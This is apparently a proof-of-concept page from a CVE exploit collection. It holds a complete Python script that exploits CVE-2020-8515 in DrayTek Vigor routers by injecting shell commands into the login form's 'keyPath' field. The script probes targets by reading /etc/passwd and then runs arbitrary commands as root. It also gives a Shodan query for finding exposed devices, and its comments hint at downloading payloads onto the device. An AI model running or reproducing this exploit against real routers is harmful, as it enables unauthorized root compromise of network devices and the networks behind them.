4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / draytek.py PY
#!/usr/bin/python
# Draytek Remote Root Exploit
# CVE-2020-8515
# Shodan: title:"Vigor 2960" title:"Vigor 3900" title:"Vigor 300B"

import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def replace_spaces(str):
    # replace spaces with ${IFS} - we may need more badchar encoders later
    return str.replace(" ", "${IFS}")

def build_payload(command):
    # build payload
    template = "'\nPLACEHOLDER\n'"
    return template.replace("PLACEHOLDER", command)

def exec_command(target, command):
    print "(>) executing command: %s" %(command)
    url = target + "/cgi-bin/mainfunction.cgi"
    command = replace_spaces(command)
    payload = build_payload(command)
    post_data = {
        "action": "login",
        "keyPath": payload,
        "loginUser": "user",
        "loginPwd": "password"
    }
    try:
        r = requests.post(url=url, data=post_data, verify=False)
        return r.text
    except:
        return None

def probe(target):
    output = exec_command(target=target, command="cat /etc/passwd")
    if output != None:
        if "root:" in output:
            return True
        else:
            return False
    else:
    	return False

def do_stuff(target):
    # exec various commands here, example runs uname -a (previously telnetd)
    # you may, for example, wish to do some iptables fuckery, wget payload, etc.
    # we simply print exec_command output here for the example to show how work.
    # these are armv6l linux, you know what to do. 
    print exec_command(target=target, command="uname -a")


def main(args):
    if len(args) != 2:
        sys.exit("use: %s http://1.2.3.4:8080" %(args[0]))
    vuln = probe(target=args[1])
    if vuln == True:
        print "(+) vulnerable!"
        do_stuff(target=args[1])
    else:
    	print "(-) Not vulnerable!"

if __name__ == "__main__":
    main(args=sys.argv)